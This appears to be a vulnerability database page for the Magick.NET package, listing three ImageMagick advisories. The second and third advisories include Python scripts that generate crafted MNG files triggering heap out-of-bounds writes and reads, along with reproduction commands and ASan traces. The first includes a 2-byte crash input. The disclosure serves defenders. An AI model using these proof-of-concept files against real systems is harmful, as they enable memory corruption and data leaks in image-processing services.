Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:nuget/Magick.NET-Q8-OpenMP-x64@14.8.0
purl pkg:nuget/Magick.NET-Q8-OpenMP-x64@14.8.0
Vulnerabilities affecting this package (0)
Vulnerability Summary Fixed by
This package is not known to be affected by vulnerabilities.
Vulnerabilities fixed by this package (3)
Vulnerability Summary Aliases
VCID-a2qm-vkc3-qkd5 ImageMagick has Undefined Behavior (function-type-mismatch) in CloneSplayTree ## Summary - **Target:** ImageMagick (commit `ecc9a5eb456747374bae8e07038ba10b3d8821b3`) - **Type:** Undefined Behavior (function-type-mismatch) in splay tree cloning callback - **Impact:** Deterministic abort under UBSan (DoS in sanitizer builds). No crash in a non-sanitized build; likely low security impact. - **Trigger:** Minimal **2-byte** input parsed via MagickWand, then coalescing. ## Environment OS: macOS (Apple Silicon/arm64) Homebrew clang version 20.1.8 Target: arm64-apple-darwin24.5.0 Thread model: posix InstalledDir: /opt/homebrew/Cellar/llvm/20.1.8/bin Configuration file: /opt/homebrew/etc/clang/arm64-apple-darwin24.cfg Homebrew ImageMagick: `magick -version` → `ImageMagick 7.1.2-0 Q16-HDRI aarch64` pkg-config: `MagickWand-7.Q16HDRI` version `7.1.2` Library configure flags (capsule build): ./configure --disable-shared --enable-static --without-modules --without-magick-plus-plus --disable-openmp --without-perl --without-x --with-png=yes --without-jpeg --without-tiff --without-xml --without-lqr --without-gslib Harness compile flags: -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer pkg-config cflags/libs supplied: -I<...>/include/ImageMagick-7 -DMAGICKCORE_HDRI_ENABLE=1 -DMAGICKCORE_QUANTUM_DEPTH=16 -DMAGICKCORE_CHANNEL_MASK_DEPTH=32 and linked against MagickWand-7.Q16HDRI and MagickCore-7.Q16HDRI Sanitizer runtime: ASan+UBSan defaults. Repro also with `UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1` ## PoC - **Bytes (hex):** `1c 02` - **Base64:** `HAI=` - **sha256 (optional):** <fill in> ## Reproduction Create PoC: `printf '\x1c\x02' > poc.bin` Option A: libFuzzer harness - Run once: `./harness_ImageMagick_... -runs=1 ./poc.bin` - Expected: UBSan aborts with function-type-mismatch at `MagickCore/splay-tree.c:372:43`. Option B: standalone reproducer (C) - Compile (ensure `PKG_CONFIG_PATH` points to your ImageMagick if needed): /opt/homebrew/opt/llvm/bin/clang -g -O1 -fsanitize=address,undefined $(/opt/homebrew/bin/pkg-config --cflags MagickWand-7.Q16HDRI) repro.c -o repro $(/opt/homebrew/bin/pkg-config --libs MagickWand-7.Q16HDRI) - Run: UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1 ./repro ./poc.bin Observed output (excerpt) MagickCore/splay-tree.c:372:43: runtime error: call to function ConstantString through pointer to incorrect function type 'void *(*)(void *)' string.c:680: note: ConstantString defined here #0 CloneSplayTree splay-tree.c:372 #1 CloneImageProfiles profile.c:159 #2 CloneImage image.c:832 #3 CoalesceImages layer.c:269 #4 MagickCoalesceImages magick-image.c:1665 #5 main repro.c:XX Root cause The splay tree clone callback expects a function pointer of type `void *(*)(void *)`. ConstantString has a different signature (`char *ConstantString(const char *)`). Calling through the mismatched function type is undefined behavior in C and triggers UBSan’s function-type-mismatch. The path is exercised during coalescing: CloneImage → CloneImageProfiles → CloneSplayTree. Scope Reproduces with a minimal, sanitizer-instrumented, PNG-enabled build and delegates disabled (policy.xml), suggesting the issue is in MagickCore rather than external delegates. Suggested fix (sketch) Use a wrapper that matches the expected callback prototype, or adjust the splay-tree callback typedef for const-correctness. For example: static void *CloneStringShim(const void *p) { return (void *) ConstantString((const char *) p); } /* When setting splay-tree clone_value, use CloneStringShim instead of ConstantString. */ Alternatively, update the clone callback typedefs to use const void* consistently (and return void*) and ensure callers pass a correctly typed wrapper. Artifacts Minimised PoC: attached (poc.bin, 2 bytes; base64 HAI=) Harness source and exact build command (attached) Full UBSan trace (attached) Commit SHA and configure flags (above) Credits Discovered by: Lumina Mescuwa Method: libFuzzer + UBSan Verification - UBSan build: Reproduces with `halt_on_error=1`; aborts at `MagickCore/splay-tree.c:372`. - Non-sanitized Homebrew build (macOS arm64, clang 20.1.8): No crash; repro completes silently. CVE-2025-55160
GHSA-6hgw-6x87-578x
VCID-ef36-52cx-dfg5 imagemagick: integer overflows in MNG magnification ## **Vulnerability Details** The magnified size calculations in `ReadOneMNGIMage` (in `coders/png.c`) are unsafe and can overflow, leading to memory corruption. The source snippet below is heavily abbreviated due to the size of the function, but hopefully the important points are captured. ```c static Image *ReadOneMNGImage(MngReadInfo* mng_info, const ImageInfo *image_info,ExceptionInfo *exception) { // Lots of stuff, this is effectively a state machine for the MNG rendering commands, // skip to the point where we start processing the "MAGN" command. if (memcmp(type,mng_MAGN,4) == 0) { png_uint_16 magn_first, magn_last, magn_mb, magn_ml, magn_mr, magn_mt, magn_mx, magn_my, magn_methx, magn_methy; // Details unimportant, but each of the `magn_xxx` variables is read from the file. if (magn_first == 0 || magn_last == 0) { /* Save the magnification factors for object 0 */ mng_info->magn_mb=magn_mb; mng_info->magn_ml=magn_ml; mng_info->magn_mr=magn_mr; mng_info->magn_mt=magn_mt; mng_info->magn_mx=magn_mx; mng_info->magn_my=magn_my; mng_info->magn_methx=magn_methx; mng_info->magn_methy=magn_methy; } } // Details unimportant, we load the image to be scaled and store it in `image` if (mng_type) { MngBox crop_box; if (((mng_info->magn_methx > 0) && (mng_info->magn_methx <= 5)) && ((mng_info->magn_methy > 0) && (mng_info->magn_methy <= 5))) { png_uint_32 magnified_height, magnified_width; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Processing MNG MAGN chunk"); if (image->columns == 1) mng_info->magn_methx = 1; if (image->rows == 1) mng_info->magn_methy = 1; if (mng_info->magn_methx == 1) { magnified_width=mng_info->magn_ml; // [0] if (image->columns > 1) magnified_width += mng_info->magn_mr; // [1] if (image->columns > 2) magnified_width += (png_uint_32) ((image->columns-2)*(mng_info->magn_mx)); // [2] } // Different cases handle available scaling kinds, all of which have similar issues... // We now check whether the output image is larger than the input image in either // dimension, and if so, we will allocate a new image buffer of size // `magnified_width * magnified_height`. if (magnified_height > image->rows || magnified_width > image->columns) { Image *large_image; // Snip... large_image->columns=magnified_width; large_image->rows=magnified_height; magn_methx=mng_info->magn_methx; magn_methy=mng_info->magn_methy; // In between here, we allocate the pixel buffer for `large_image`. /* magnify the rows into the right side of the large image */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Magnify the rows to %.20g", (double) large_image->rows); m=(ssize_t) mng_info->magn_mt; yy=0; length=(size_t) GetPixelChannels(image)*image->columns; next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next)); prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev)); if ((prev == (Quantum *) NULL) || (next == (Quantum *) NULL)) { if (prev != (Quantum *) NULL) prev=(Quantum *) RelinquishMagickMemory(prev); if (next != (Quantum *) NULL) next=(Quantum *) RelinquishMagickMemory(next); image=DestroyImageList(image); ThrowReaderException(ResourceLimitError, "MemoryAllocationFailed"); } n=GetAuthenticPixels(image,0,0,image->columns,1,exception); (void) memcpy(next,n,length); for (y=0; y < (ssize_t) image->rows; y++) { if (y == 0) m=(ssize_t) mng_info->magn_mt; else if (magn_methy > 1 && y == (ssize_t) image->rows-2) m=(ssize_t) mng_info->magn_mb; else if (magn_methy <= 1 && y == (ssize_t) image->rows-1) m=(ssize_t) mng_info->magn_mb; else if (magn_methy > 1 && y == (ssize_t) image->rows-1) m=1; else m=(ssize_t) mng_info->magn_my; n=prev; prev=next; next=n; if (y < (ssize_t) image->rows-1) { n=GetAuthenticPixels(image,0,y+1,image->columns,1, exception); (void) memcpy(next,n,length); } for (i=0; i < m; i++, yy++) { Quantum *pixels; assert(yy < (ssize_t) large_image->rows); pixels=prev; n=next; q=GetAuthenticPixels(large_image,0,yy,large_image->columns, 1,exception); if (q == (Quantum *) NULL) break; q+=(ptrdiff_t) (large_image->columns-image->columns)* GetPixelChannels(large_image); // [3] ``` If we look at the calculation for `magnified_width`, we can see that we are storing the results in a `png_uint32`. The operations at \[0\] and \[1\] are safe, since `mng_info->magn_ml` and `mng_info->magn_mx` are both 16-bit unsigned integers, but both the multiplication at \[2\] and the addition of the result of that multiplication to `magnified_width` can overflow, leading to a value of `magnified_width` that is smaller than required. When we then operate on the pixel buffers, we use the original parameters for the magnification, and we assume (reasonably?) that the output buffer is larger than the input buffer when calculating where to write the upsampled/magnified pixel values. Unfortunately, after the overflow has happened, this assumption is no longer true, and the calculation at \[3\] will end up with a `q` pointer outside the buffer bounds. This issue leads to an out-of-bounds write of controlled data beyond the bounds of a heap allocation. Triggering this issue requires an `image` with large `columns` or `rows` (\~65535) which should be prevented by all of the example security policies (which set `width`/`height` limits of `8KP`). ## **Affected Version(s)** Verified on current HEAD (305e383c8ac7b30bc2ee96ab8c43ec96217ec2a9) and latest stable release (7.1.2-0). ### **Build Instructions** ```shell git clone https://github.com/imagemagick/imagemagick cd imagemagick export CC=clang export CXX=clang++ export CFLAGS="-fsanitize=address" export CXXFLAGS="-fsanitize=address" export LDFLAGS="-fsanitize=address" ./configure --disable-shared --disable-docs --with-jxl make -j ``` ## **Reproduction** ### **Test Case** This testcase is a python script that will generate an MNG file with a MAGN chunk that triggers this overflow leading to an out-of-bounds heap write. ``` import struct import zlib def create_chunk(chunk_type, data): crc = zlib.crc32(chunk_type + data) & 0xFFFFFFFF return struct.pack('>I', len(data)) + chunk_type + data + struct.pack('>I', crc) # MNG signature mng_signature = b'\x8aMNG\r\n\x1a\n' # --- Dimensions --- mhdr_width = 1 mhdr_height = 1 ihdr_width = 65538 # W: Original width to cause W' overflow ihdr_height = 1 # H: Original height # MHDR chunk (Valid small dimensions) mhdr_data = struct.pack('>IIIIIII', mhdr_width, mhdr_height, 1, 0, 0, 0, 0) mhdr_chunk = create_chunk(b'MHDR', mhdr_data) # MAGN chunk: Trigger width overflow, force entry via height magn magn_first = 0 magn_last = 0 magn_methx = 1 magn_mx = 65535 # -> magnified_width = 65534 (overflow) magn_my = 2 # -> magnified_height = 2 (magn_mt=2) magn_ml = 65535 magn_mr = 65535 magn_mt = 2 # Force magnified_height > H (necessary to trigger large_image path) magn_mb = 1 magn_methy = 1 magn_data = struct.pack('>HHBHHHHHHB', magn_first, magn_last, magn_methx, magn_mx, magn_my, magn_ml, magn_mr, magn_mt, magn_mb, magn_methy) magn_chunk = create_chunk(b'MAGN', magn_data) # IHDR chunk ihdr_data = struct.pack('>IIBBBBB', ihdr_width, ihdr_height, 8, 0, 0, 0, 0) ihdr_chunk = create_chunk(b'IHDR', ihdr_data) # IDAT chunk (Minimal data for W x H grayscale pixels) scanline = b'\x00' + (b'\x00' * ihdr_width) compressed_scanline = zlib.compress(scanline) idat_chunk = create_chunk(b'IDAT', compressed_scanline) # IEND chunk iend_chunk = create_chunk(b'IEND', b'') # MEND chunk mend_chunk = create_chunk(b'MEND', b'') program_input = ( mng_signature + mhdr_chunk + magn_chunk + ihdr_chunk + idat_chunk + iend_chunk + mend_chunk ) print(f"Generated MNG size: {len(program_input)} bytes") with open("magn_write.mng", "wb") as tmp: tmp.write(program_input) ``` ### **Command** ```shell python3 ./generate_testcase.py utilities/magick ./magn_write.mng -resize 200x200 PNG:output.png ``` ### **ASan Backtrace** ``` ================================================================= ==585863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f80849757d0 at pc 0x55744124fba3 bp 0x7fff1300ddf0 sp 0x7fff1300dde8 WRITE of size 4 at 0x7f80849757d0 thread T0 #0 0x55744124fba2 in SetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 #1 0x55744123be16 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:27 #2 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #3 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #4 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #5 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22 #6 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7 #7 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #8 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #9 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #10 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #11 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #12 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #13 0x7f8087433d64 in __libc_start_main csu/../csu/libc-start.c:360:3 #14 0x557440d3f790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f2790) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5) 0x7f80849757d0 is located 48 bytes before 1572816-byte region [0x7f8084975800,0x7f8084af57d0) allocated by thread T0 here: #0 0x557440de00cb in posix_memalign (/tmp/repro/imagemagick/utilities/magick+0x2930cb) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5) #1 0x557440e58aa6 in AcquireAlignedMemory_POSIX /tmp/repro/imagemagick/MagickCore/memory.c:300:7 #2 0x557440e5885d in AcquireAlignedMemory /tmp/repro/imagemagick/MagickCore/memory.c:378:10 #3 0x5574412e9725 in OpenPixelCache /tmp/repro/imagemagick/MagickCore/cache.c:3775:46 #4 0x5574412eead7 in GetImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:1782:18 #5 0x5574412ef71b in SyncImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:5600:28 #6 0x557440e2e786 in SetImageStorageClass /tmp/repro/imagemagick/MagickCore/image.c:2617:10 #7 0x557440e2f075 in SetImageBackgroundColor /tmp/repro/imagemagick/MagickCore/image.c:2422:7 #8 0x55744123b3d6 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6560:28 #9 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #10 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #11 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #12 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22 #13 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7 #14 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #15 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #16 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #17 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #18 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #19 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 in SetPixelRed Shadow bytes around the buggy address: 0x7f8084975500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x7f8084975780: fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa 0x7f8084975800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==585863==ABORTING ``` ## **Reporter Credit** Google Big Sleep CVE-2025-55154
GHSA-qp29-wxp5-wh82
VCID-vbdt-31wd-v3h8 imagemagick: heap-buffer overflow read in MNG magnification with alpha ## **Vulnerability Details** When performing image magnification in `ReadOneMNGIMage` (in `coders/png.c`), there is an issue around the handling of images with separate alpha channels. When loading an image with a color type that implies a separate alpha channel (ie. `jng_color_type >= 12`), we will load the alpha pixels in this loop: ```c if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Reading alpha from alpha_blob."); jng_image=ReadImage(alpha_image_info,exception); if (jng_image != (Image *) NULL) for (y=0; y < (ssize_t) image->rows; y++) { s=GetVirtualPixels(jng_image,0,y,image->columns,1,exception); q=GetAuthenticPixels(image,0,y,image->columns,1,exception); // [0] if ((s == (const Quantum *) NULL) || (q == (Quantum *) NULL)) break; if (image->alpha_trait != UndefinedPixelTrait) for (x=(ssize_t) image->columns; x != 0; x--) { SetPixelAlpha(image,GetPixelRed(jng_image,s),q); q+=(ptrdiff_t) GetPixelChannels(image); s+=(ptrdiff_t) GetPixelChannels(jng_image); } else for (x=(ssize_t) image->columns; x != 0; x--) { Quantum alpha; alpha=GetPixelRed(jng_image,s); SetPixelAlpha(image,alpha,q); if (alpha != OpaqueAlpha) image->alpha_trait=BlendPixelTrait; // [1] q+=(ptrdiff_t) GetPixelChannels(image); s+=(ptrdiff_t) GetPixelChannels(jng_image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } ``` Note that at \[1\] we update `image->alpha_trait`, but if our alpha image only contains non-opaque pixels in the last row, we do not call `GetAuthenticPixels` (at \[0\]) after this change has been made. The next call to `GetAuthenticPixels` will then call down into `ResetPixelChannelMap` which adds the new alpha channel to the image channel mappings and metadata. If we then pass this image into the `MAGN` chunk type, we can see that at \[2\] we calculate the sizes for intermediate buffers `next` and `prev`, before calling `GetAuthenticPixels` at \[4\]. After the call at \[4\], the `image->num_channels` has increased to include the new alpha channel, and now `length` and the previously allocated `next` and `prev` buffers are too small. Fortunately `length` is always used when copying into the buffers, but when reading pixels from the buffers, we call `GetPixelXXX` which assumes the layout of the current image, which requires a larger allocation. The pixel copying loop will subsequently read beyond the end of the allocation at \[5\]. ```c /* magnify the rows into the right side of the large image */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Magnify the rows to %.20g", (double) large_image->rows); m=(ssize_t) mng_info->magn_mt; yy=0; length=(size_t) GetPixelChannels(image)*image->columns; // [2] next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next)); prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev)); if ((prev == (Quantum *) NULL) || (next == (Quantum *) NULL)) { if (prev != (Quantum *) NULL) prev=(Quantum *) RelinquishMagickMemory(prev); if (next != (Quantum *) NULL) next=(Quantum *) RelinquishMagickMemory(next); image=DestroyImageList(image); ThrowReaderException(ResourceLimitError, "MemoryAllocationFailed"); } n=GetAuthenticPixels(image,0,0,image->columns,1,exception); // [4] (void) memcpy(next,n,length); for (y=0; y < (ssize_t) image->rows; y++) { if (y == 0) m=(ssize_t) mng_info->magn_mt; else if (magn_methy > 1 && y == (ssize_t) image->rows-2) m=(ssize_t) mng_info->magn_mb; else if (magn_methy <= 1 && y == (ssize_t) image->rows-1) m=(ssize_t) mng_info->magn_mb; else if (magn_methy > 1 && y == (ssize_t) image->rows-1) m=1; else m=(ssize_t) mng_info->magn_my; n=prev; prev=next; next=n; if (y < (ssize_t) image->rows-1) { n=GetAuthenticPixels(image,0,y+1,image->columns,1, exception); (void) memcpy(next,n,length); } for (i=0; i < m; i++, yy++) { Quantum *pixels; assert(yy < (ssize_t) large_image->rows); pixels=prev; n=next; q=GetAuthenticPixels(large_image,0,yy,large_image->columns, 1,exception); if (q == (Quantum *) NULL) break; q+=(ptrdiff_t) (large_image->columns-image->columns)* GetPixelChannels(large_image); for (x=(ssize_t) image->columns-1; x >= 0; x--) { /* To do: get color as function of indexes[x] */ /* if (image->storage_class == PseudoClass) { } */ if (magn_methy <= 1) { /* replicate previous */ SetPixelRed(large_image,GetPixelRed(image,pixels),q); // [5] SetPixelGreen(large_image,GetPixelGreen(image, pixels),q); SetPixelBlue(large_image,GetPixelBlue(image, pixels),q); SetPixelAlpha(large_image,GetPixelAlpha(image, pixels),q); } ``` This can likely be used to leak subsequent memory contents into the output image. The attached proof-of-concept triggers this issue and is not blocked by any of the default security policies. ## **Affected Version(s)** The issue has been successfully reproduced: - at commit `3e37a7f15fcb1aa80e6beae3898e684309c2ecbe` - in stable release `7.1.2-0` ### **Build Instructions** ```shell git clone https://github.com/imagemagick/imagemagick cd imagemagick export CC=clang export CXX=clang++ export CFLAGS="-fsanitize=address -O0 -ggdb" export CXXFLAGS="-fsanitize=address -O0 -ggdb" export LDFLAGS="-fsanitize=address -O0 -ggdb" ./configure --disable-shared --disable-docs --with-jxl make -j ``` ## **Reproduction** ### **Test Case** This testcase is a python script that will generate an MNG file which can be used to trigger the vulnerability. ``` import struct import zlib def chunk(tag, data): crc = zlib.crc32(tag + data) & 0xffffffff return struct.pack('>I', len(data)) + tag + data + struct.pack('>I', crc) # Simple 128x1 RGB jpeg jpeg = bytes([ 0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 0x4a, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x01, 0x2c, 0x01, 0x2c, 0x00, 0x00, 0xff, 0xdb, 0x00, 0x43, 0x00, 0x03, 0x02, 0x02, 0x03, 0x02, 0x02, 0x03, 0x03, 0x03, 0x03, 0x04, 0x03, 0x03, 0x04, 0x05, 0x08, 0x05, 0x05, 0x04, 0x04, 0x05, 0x0a, 0x07, 0x07, 0x06, 0x08, 0x0c, 0x0a, 0x0c, 0x0c, 0x0b, 0x0a, 0x0b, 0x0b, 0x0d, 0x0e, 0x12, 0x10, 0x0d, 0x0e, 0x11, 0x0e, 0x0b, 0x0b, 0x10, 0x16, 0x10, 0x11, 0x13, 0x14, 0x15, 0x15, 0x15, 0x0c, 0x0f, 0x17, 0x18, 0x16, 0x14, 0x18, 0x12, 0x14, 0x15, 0x14, 0xff, 0xdb, 0x00, 0x43, 0x01, 0x03, 0x04, 0x04, 0x05, 0x04, 0x05, 0x09, 0x05, 0x05, 0x09, 0x14, 0x0d, 0x0b, 0x0d, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0xff, 0xc0, 0x00, 0x11, 0x08, 0x00, 0x01, 0x00, 0x80, 0x03, 0x01, 0x11, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xff, 0xc4, 0x00, 0x15, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xff, 0xc4, 0x00, 0x14, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xda, 0x00, 0x0c, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3f, 0x00, 0xaa, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xff, 0xd9 ]) # MNG File Construction mng_sig = b'\x8aMNG\r\n\x1a\n' mhdr_data = struct.pack('>IIIIIII', 1, 1, 1, 0, 0, 0, 0) mhdr_chunk = chunk(b'MHDR', mhdr_data) magn_data = struct.pack('>HH B H H H H H H B', 0, 0, 1, 2, 2, 2, 2, 2, 2, 1) magn_chunk = chunk(b'MAGN', magn_data) jhdr_data = struct.pack('>IIBBBBBBBB', 128, 1, 12, 8, 8, 0, 8, 0, 0, 0) jhdr_chunk = chunk(b'JHDR', jhdr_data) jdat_chunk = chunk(b'JDAT', jpeg) scanlines = b'\x00\x00'*128 compressed_scanlines = zlib.compress(scanlines) idat_chunk = chunk(b'IDAT', compressed_scanlines) iend_chunk = chunk(b'IEND', b'') mend_chunk = chunk(b'MEND', b'') mng_bytes = mng_sig + mhdr_chunk + magn_chunk + jhdr_chunk + jdat_chunk + idat_chunk + iend_chunk + mend_chunk with open("magn_read.mng", "wb") as tmp: tmp.write(mng_bytes) ``` ### **Command** ```shell python3 ./generate_testcase.py utilities/magick ./magn_read.mng -resize 200x200 PNG:output.png ``` ### **ASan Backtrace** ``` ================================================================= ==1562409==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51b000000680 at pc 0x557a486b0c64 bp 0x7ffe63210de0 sp 0x7ffe63210dd8 READ of size 4 at 0x51b000000680 thread T0 #0 0x557a486b0c63 in GetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10 #1 0x557a4869ce03 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:51 #2 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #3 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #4 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #5 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22 #6 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7 #7 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #8 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #9 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #10 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #11 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #12 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #13 0x7f1431833d64 in __libc_start_main csu/../csu/libc-start.c:360:3 #14 0x557a481a0790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f3790) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3) 0x51b000000680 is located 0 bytes after 1536-byte region [0x51b000000080,0x51b000000680) allocated by thread T0 here: #0 0x557a482405c3 in malloc (/tmp/repro/imagemagick/utilities/magick+0x2935c3) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3) #1 0x557a482b9b6a in AcquireMagickMemory /tmp/repro/imagemagick/MagickCore/memory.c:559:10 #2 0x557a482b9dba in AcquireQuantumMemory /tmp/repro/imagemagick/MagickCore/memory.c:677:10 #3 0x557a4869c58c in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6584:34 #4 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #5 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #6 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #7 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22 #8 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7 #9 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #10 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #11 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #12 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #13 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #14 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10 in GetPixelRed Shadow bytes around the buggy address: 